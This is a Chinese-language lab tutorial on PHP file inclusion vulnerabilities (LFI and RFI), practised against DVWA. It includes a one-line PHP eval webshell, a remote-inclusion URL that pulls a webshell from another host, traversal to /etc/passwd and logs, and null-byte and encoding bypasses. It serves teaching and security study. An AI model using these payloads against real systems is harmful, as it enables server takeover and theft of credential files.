本實驗是基于DVWA和sqli-labs的實驗環境
實驗平台搭建:下載下傳Wamp內建環境,并下載下傳DVWA和sqli-labs和壓縮包解壓至wamp\www的目錄下。安裝隻要注意Wamp環境的資料庫名和密碼對應即可。
0x01:檔案包含漏洞
伺服器通過php的特性(函數)去包含任意檔案時,由于要包含的這個檔案來源過濾不嚴,進而可以去包含一個惡意檔案,而我們可以構造這個惡意檔案來達到邪惡的目的。
這也算官方的解釋吧,用個人的話說,通過浏覽器、url位址或者是一個參數的變量的内容,可以通過修改這些url或者參數變量的内容,讀取到web根目錄以前其他檔案,但是不同于目錄浏覽,目錄浏覽是可以通過浏覽器直接顯示www目錄下每一個檔案的名稱,把目錄清單給列出來。
檔案包含漏洞形成原因
程式開發人員一般會把重複使用的函數寫到單個檔案中,需要使用某個函數時直接調用此檔案,而無需再次編寫,這中檔案調用的過程一般被稱為檔案包含。程式開發人員一般希望代碼更靈活,是以将被包含的檔案設定為變量,用來進行動态調用,
但正是由于這種靈活性,進而導緻用戶端可以調用一個惡意檔案,造成檔案包含漏洞。幾乎所有腳本語言都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程式中卻非常少,甚至沒有,這是有些語言設計的弊端。在PHP中經常出現包含漏洞,但這并不意味這其他語言不存在。
常見檔案包含函數
include():執行到include時才包含檔案,找不到被包含檔案時隻會産生警告,腳本将繼續執行
require():隻要程式一運作就包含檔案,找不到被包含的檔案時會産生緻命錯誤,并停止腳本
include_once()和require_once():這兩個函數和前兩個函數作用幾乎相同,差別在于若檔案中代碼已被包含則不會再次包含
LFI(本地包含漏洞)目錄周遊可以了解為本地包含漏洞,驗證以及利用方法都相同。
RFI(遠端包含漏洞)可以包含進其他主機的url位址,如自己開放一個www服務,然後在上面放一個木馬檔案,如果是代碼會在這個機器上執行的。拿到shell的權限要看運作www服務的帳号。
包含漏洞的特征:(這個可以說是文中的幹貨了)
在某一個頁面中,一個變量的值等于一個頁面檔案或者是一個固定的值,如
?page=a.asp
?home=b.html
?file=content
漏洞分類
本地檔案包含:可以包含本地檔案,在條件允許時甚至能執行代碼
上傳圖檔馬,然後包含
讀敏感檔案,讀PHP檔案
包含日志檔案GetShell
包含/proc/self/envion檔案GetShell
包含data:或php://input等僞協定
若有phpinfo則可以包含臨時檔案
遠端檔案包含:可以直接執行任意代碼
要保證php.ini中allow_url_fopen和allow_url_include要為On
0x02、檔案包含漏洞利用
1、包含讀出目标機上其它檔案
如果對取得的參數page沒有過濾,于是我們可以任意指定目标主機上的其它敏感檔案
在linux中,"."表示目前目錄,“..”表示上一層目錄,當../到根目錄下,再往上層父目錄仍舊是根目錄。
<a href="http://s1.51cto.com/wyfs02/M01/89/0A/wKioL1gGEZbRhgROAAFe0eg_MRw456.png" target="_blank"></a>
用常見的“../”包含出日志檔案。
<a href="http://s4.51cto.com/wyfs02/M01/89/0D/wKiom1gGEt7zI6JIAAGTL6mTIms960.png" target="_blank"></a>
2、包含可運作的PHP木馬
在很多地方,我們都可以上傳圖檔,如上傳頭像,圖檔等,這這裡先上傳圖檔,圖檔的内容為一句話木馬
<?php @eval($_POST['cmd']);?>
<a href="http://s2.51cto.com/wyfs02/M00/89/0D/wKiom1gGFSSj2ZIUAAD9aZ7Q-8M833.png" target="_blank"></a>
由于上傳的限制,一般隻能上傳jpg,png的圖檔格式,代碼無法執行,我們用本地包含的方式将圖檔包含進來,代碼就執行了,代碼不需要字尾名是php、asp的格式,隻要内容是代碼即可執行。
<a href="http://s2.51cto.com/wyfs02/M01/89/0D/wKiom1gGFUKAGNjTAAC_S3ndX-8464.png" target="_blank"></a>
然後用中國菜刀連接配接(功夫再高,也怕菜刀!)
<a href="http://s4.51cto.com/wyfs02/M01/89/0A/wKioL1gGFW_j0P9PAAAXFOKMttc862.png" target="_blank"></a>
3.遠端包含url和php木馬
如果目标主機的"allow_url_fopen"是激活的(預設是激活的),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運作
不需要字尾名是php、asp的格式,隻要内容是代碼就可以。
出現機率少于本地包含,但更容易被利用
如在自己伺服器上寫上一句話代碼,然後用遠端包含漏洞去包含這個連結,
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php
然後同上,用菜刀連接配接,擷取webshell。
0x03、包含漏洞繞過技巧
在利用包含漏洞中,經常遇到一個問題,在檢視page=/etc/passwd的時候,出現報錯,找不到/etc/passwd.php檔案,說明預設自動加上了字尾名.php,繞過的方式有一下幾種
1.編碼繞過字元過濾
(1)加“.”,當加點,會忽略點後面的内容。
(2)“%00”,即null空字元(/etc/passwd%00),在php語言格式裡,當遇到%00的時候,後面不管有無其他東西,都不看了,隻看%00前面的内容
(3)“#”,繞過檔案擴充名過濾
2、編碼
url編碼、雙層(多層)url編碼
%2e%2e%2f 解碼:../
%2e%2e%5c 解碼:..\
%25%2e%25%2e%255c 解碼:..\(可使用burp多層編碼和解碼)
uniclode/UTF-8編碼
..%c0%af 解碼:../
%c1%9c 解碼:..\
但編碼能否正确的起到效果,得看web server是否能對編碼後的做解析
3、其他系統可能是使用到的特殊字元
file.txt ...
file.txt <spaces>
file .txt """"""""
file.txt <<>><
./././ file.txt
4、攻擊向量字典
利用條件
程式用include()等檔案包含函數通過動态變量的範式引入需要包含的檔案
使用者能夠控制該動态變量
漏洞危害
這類漏洞看起來貌似并不嚴重,一旦被惡意利用則會帶來很大的危害。本地檔案包含不僅能夠包含web檔案目錄中的一些配置檔案(比如Web應用、資料庫配置檔案、config檔案),還可以檢視到一些Web動态頁面的源代碼,為攻擊者進一步發掘web應用漏洞提供條件,甚至一旦與路徑周遊漏洞相結合,還可能直接攫取目标系統的使用者名與密碼等檔案。并且能執行任意代碼,甚至控制伺服器。
本文轉自 wt7315 51CTO部落格,原文連結:http://blog.51cto.com/wt7315/1863177